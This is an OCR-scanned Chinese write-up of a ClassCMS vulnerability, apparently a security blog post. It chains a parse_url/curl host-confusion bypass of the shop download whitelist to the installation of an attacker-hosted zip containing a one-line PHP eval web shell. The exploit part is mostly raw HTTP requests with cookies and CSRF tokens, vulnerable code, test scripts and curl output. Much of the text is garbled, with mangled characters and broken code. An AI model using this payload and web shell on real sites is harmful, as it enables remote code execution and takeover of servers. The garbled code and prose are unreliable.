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FREE—T AR E

POST /admin6667do=shop:index&ajax=1&action=fileurl&from=install HTTP/1.1

Host: classcms

Content-Length: 43

Accept: application/json, text/javascript, */*; g=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wino4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Sa
fari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Nrinine h++n //F~1Accrme
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Referer: http://classcms/admin6667?do=shop:index&bread=%E8%87%AA%ESHAERIANEA%BI%EIRE 8¥AL%BABKESK%ED%I5&action=detail&cl
asshash=diyform

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: token_2ab421=9632c6413dde844887912fd77a75a07f; csrf_2ab421=1547308b

Connection: close

classhash=diyform&version=1.1&csrf=1547308b

REEAE_TERE

POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1

Host: classcms

Content-Length: 85

Accept: application/json, text/javascript, */*; g=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wino4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Sa
fari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.159.1

Referer: http://192.168.159.1/ClassCMS/admin666?do=shop : index&bread=X%ES5%BA%4%E 7%94%A8%ES5%BC%BOXES%8F%91&action=deta
il&classhash=classcreate

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: token_2ab421=5d012ca838cc5f0aff@2c44c8e2c91e7; csrf_2ab421=338cebd0d

Connection: close

classhash={dir}&url=http://@{ip}: {port}@classcms.com/{shell.zip}&csrf=338cebdd

SR

N

e classhash NEEHFHNREXER

(] Url jkai?, llu\lz)ﬁgzu—ltﬂ/ﬁ

http://@192.168.159.1:80@classcms.com/shell.zip
mizipinO (BAIASOEFREM L) , —PEEKREXH (shell.php) MzipE4EE
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ETFHNE_MERERLI url SEEERSN classcms B WRIN A E48 G ithilt

POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1

Host: classcms

Content-Length: 140

Accept: application/json, text/javascript, */*; g=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wino4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Sa
fari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://classcms

Referer: http://classcms/admin666?do=shop:index&bread=%E8%87%AA%ESHAERIANEA%BI%EIRE 8%AI%BABRES%8D%I5&action=detail&cl
asshash=diyform

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: token_2ab421=9632c6413dde844887912fd77a75a07f; csrf_2ab421=1547308b

Connection: close

S . A F 0.2 a0 O/AAN/AFA/AF T . /AT L 0/ 2 /AN A0/ 2 L 0/ANA AN/ T . _La/AnN At ./
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26token%3D&csrf=1547308b

A REFERAE T

http://classcms.com/shop/?action=download&version=1.1&classhash=diyform&token=

(http://classcms.com/shop/?action=download&version=1.1&classhash=diyform&token=)

ZuER url, FEIRELOE

Request Response

Pretty JREIE \n  Actions v GG Raw  Render \n Actions v

POST /adminbébbé?do=shop:downl|oadClasséajax=1 HTTR/1.1 HTTP/1.1 200 OK

1

7 Host: classcms 7 Date: Thu, 16 Dec 2021 0B:09:28 GMT
3 Content-Length: &2 3 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2) PHP/5.4.45
4 Accept: application/json, text/javascript, */%; g=0.01 4 X-Powered-By: ClassCMS
5 X-Requested-With: XMLHttpRequest 5 Content-Length: 44
6 User-Agent: Mozilla/5.0 (Windows NT 10.0;: Winéd: x64) AppleWebKit/537. 36 (KHTML, |ike Gecko) 6 Connection: close

Chrome/96. 0. 4664, 110 Safari/537. 36 7 s text/himl
7 Content-Type: application/x—www—form—urlencoded; charset=UTF-8
& Origin: http://classcms 3 {"msg":"\udelb\uBf7d w5931\ uBd25", "error”: 1}

-0

Referer:
http://classcms/adminbé66?do=shop: i ndexBbread=%EBRETHAAESHAENFAREARBIHETHEBSAT HABKESHBDYF58act ion=detai |&c
asshash=diyform

|0 Accept-Enceding: gzip, deflate

|1 Accept-Language: zh-CN, zh;q=0.9

|7 Cockie: token_2ab421=%632c6413ddeB44B879127d77a75a07F; osrf_2ab421=1547308b

|3 Connection: close

14
15 classhash=diyfofméur I=http://192. 168. 159. 1/1. txt&dsrf=1547308b|
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In Project Module Directory Scope

Return C{'cms:icommon:echolson' array('msg'== ".'E-r'r'nzn r'==1); shop.php 91
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—4b 97 downloadClass I —Ab7E upgradeClass FEH, MEBINEEEARZETE downloadClass H

function downloadClass() {

oooooo

if(!1C("this:download',%url,$classfile)) {
Return C('cms:common:echolson',array('msg'=>"T&XMK", "error'=>1));

oooooo

£ this(HETX shop.php)->download R T, EAIZIFEEREL
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function download($url,$filepath) {
$hosts=array_merge(explode(';',C('this:defaultHost')),array(config("host')));
if($defaulthost=config('defaulthost')) {
$hosts=array_merge($hosts,explode(';"',$defaulthosts));
ks
$checkurl=parse_url($url);
if(!isset($checkurl['host']) Il !in_array($checkurl['host'],$hosts)) {
Return false;
ks
$curl=curl_initQ;
curl_setopt($curl,CURLOPT_URL,$url);
if(1$fp = @fopen ($filepath, 'w+')) {
Return false;
3
curl_setopt($curl,CURLOPT_FILE, $fp);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,10);
curl_setopt($curl,CURLOPT_TIMEOUT,300);
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);
curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);
curl_setopt($curl,CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,C('this:shopInfo'));
$info=curl_exec($curl);
$httpinfo=curl_getinfo($curl);
curl_close($curl);
fclose($fp);
if($httpinfo[ 'http_code']>=300) {@unlink($filepath);Return false;}
Return $info;
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REBEAUEND url (XEE http://192.168.159.1/1.txt (http://192.168.159.1/1.txt) ) &L parse_url REBITEEHME S

AT

BAIRE url BHIE down ETXE, ABMMESIE X THIBTAEMITIR TR curl 8<%

if(!lisset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
Return false;

}

B— T REFESEEHEN, IBARBEILRET parse_url fEHTITRY host BEMEABZFENA
XEFIA php 89 parse_url FEF] lib_curl 3T url BT ZES, ST X host BT IEALEH TS
o php—curl HEETHY url host EEE @ZfG

e T parse_url MIRZ&E—"" @2ZF

Fr A& & payload
http://@192.168.159.1:80@classcms.com/1.zip (http://%40192.168.159.1:80@classcms.com/1.zip)

A= G

<?php

$hosts = ["classcms.com","classcms.uuu.la","classcms.com"];

$url = "http://@192.168.159.1:80@classcms.com/1.zip";

$checkurl = parse_url($url);

var_dump($checkurl);

if(lisset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
echo "nono!";

telse{
echo "success!";

1


http://192.168.159.1/1.txt
http://%40192.168.159.1:80@classcms.com/1.zip

7>

RRINGEI

' & C @ localhost
& Bz BEEEE CTF src github NS =E2E TR =5 webZ&FE gellngit

D:\phpStudy\PHPTutorial \WWW\index. php:5:

array (size=5)
“scheme’ —> string " http  (length=4)
"host’ = string  classcms. com (length=12)
“user’ => string 'u  (length=1)
"pass’ => string p@192.168. 159. 1:80" (length=18)
"path’ => string ' /l.zip (length=6)

success!

(https://xzfile.aliyuncs.com/media/upload/picture/20220107172909-44624a7e-6f9c-1.png)

5l 2 =T curl
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<?php
$hosts = ["classcms.com","classcms.uuu.la","classcms.com"];

$url = "http://@192.168.159.1:80@classcms.com/1.zip";

$checkurl = parse_url($url);

//var_dump($checkurl);

if(lisset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
echo "nono!";

telse{
echo "success!";
$curl=curl_initQ);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,10);
curl_setopt($curl, CURLOPT_TIMEOUT,300);
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);
curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);
curl_setopt($curl,CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
curl_setopt($curl,CURLOPT_POST,1);
$info=curl_exec($curl);
$httpinfo=curl_getinfo($curl);
var_dump($info, $httpinfo);
curl_close($curl);?

7>

FXINHAT curl STRITAE Tk
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<« C @ localhost

& BRE EEEE CTF src github s EEES REEE =3 web=Z2FE gt

success!PKOOOO§©BUKSEOOOphpinfo.phpPKOOODO§©BUKSEOOOO phpinfo.phpPKOOOO9@

D:yphpStudyy PHPTutorial \Wi¥Whindex. php:20:boolean true

D:yphpStudy PHPTuterial \WW¥¥W\index. php: 20:
PRYY)

apEay—of

‘url’ =r string Thttp://@192. 168, 150, 1:80@classems. com/ 1. zip’  (Tamgrh=43)
"content_type =» string application/zip’ (Temgeh=Is)
,uL,L.p_n.,ud'E, = LIIC g
"header_size’ =» int 278
‘request_size’ =» int 107
"filetime’ = int -1
"ssl werlfy result’ =¥ int 0
redirect_count’ = int 0
total_time’ = fleat 0,016
namelookup_time’ => fleat 0
comnect_time’ =» fleat 0,016
pretransfer_time’ = fleat 0. 016
"size_upload =» fleat 0
"size download =7 fleat 143
"speed download =» fleat 2037
"gpeed upload =» fleat O
"dovnload_content_length’ => float 142
"upload_content_length’ => fleat -1
‘starttransfer time’ =» fleat 0. 016
"redirect_time’ =» fleat 0
"certinfa’ =

array (siza=g)

aHpPty

‘primary_ip’ = string 192, 168,159, 1" (Temgeh=13)
‘primary_port’ = int 80
"local_ip’ = string ' 192, 168, 159, 1 (Tamgeh=I3)
"local_port’ =@ int 543685
"redirect wrl’ =¥ string ' (Temgeh=d)

'
,
'
'
,

(https://xzfile.aliyuncs.com/media/upload/picture/20220107172917-48e7f5e4—6f9c—1.png)
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A E—" /N2 X1F lyy.php

<?php phpinfo();@eval($_POST['lyy']);?>

[EZ8R% zip SXHE lyy.zip AEMEERE

POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1

Host: classcms

Content-Length: 66

Accept: application/json, text/javascript, */*; g=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wino4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Sa
fari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://classcms

Referer: http://classcms/admin666?do=shop :index&bread=%E5%BA%I4%E 7%94%A8%E 5%BCABO%ES%EF%I1&action=detail&classhash=c
lasscreate

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: token_2ab421=9632c6413dde844887912fd77a75a07f; csrf_2ab421=1547308b;

Connection: close

classhash=test&url=http://@192.168.159.1:80@classcms.com/lyy.zip&csrf=1547308b

FINEREZMINGE I if 4, FEHRAT curl THIN (RE true)
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M cms B&E T class.php F8J unzip tLREE

function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true) {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive;
if ($zip->open($src_file) === TRUE) {
if(@$zip->extractTo($dest_dir)) {
$zip->close();
Return true;

}
$zip->close();
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e $src_file Fi2
D:\phpStudy\PHPTutoria \WWW\ClassCMS\cache\shop\89a5f4d7d35347db4dd558079c11a612.class
o = curl ZEFEN—IEE XX

e $dest_dir 2 D:\phpStudy\PHPTutoria\WWW\ClassCMS\class\test\
o /class/{classhash Z#{E} WBE X

Fr AR ENHIVE IR R TE1E ZipArchive 3£ (php_zip ¥R, BIANFR) BY, RIS XEHRNSBE / class/{classhash SEEINE x

AT SRR X4 B)HAT payload

http://ClassCMS/class/{classhashiy{E}/{ LEEEFHBHHIARSXEFFXEFhttp://Class(MS/class/test/lyy.php

B INH AT EBFH getshell
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= R

XM php curl # parse_url BT E S SEEY, & 2017 & blackhat = orange Jfi{&8Y: A New Era of SSRF
(https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai—-A-New-Era-Of-SSRF-Exploiting—URL-Parser—In—
Trending—Programming-Languages.pdf) F1ZZI#Y

EBHhRAEY curl (curl>=7.54.0) RAEZEET ST eN@EMEE, EFAZ @ikE

BT =EHE php 1 curl WRARAZRER (BMIARMERMEDTUNSIFE) , XEBMIRT phpstudy LAIFE php kA, TEM
TEZEE

php-5.2.17 + Apache
php-5.3.29-nts + Apache
php-5.4.45 + Apache

: php-5.4.45-nts + Apache
php-5.5.38 + Apache
php-5.6.27-nts + Apache

php-7.1.13-nts + Apache

\ phe-T210nts + Aphe (https://xzfile.aliyuncs.com/media/upload/picture/20220107172950-5cf2526

6f9c-1.png)
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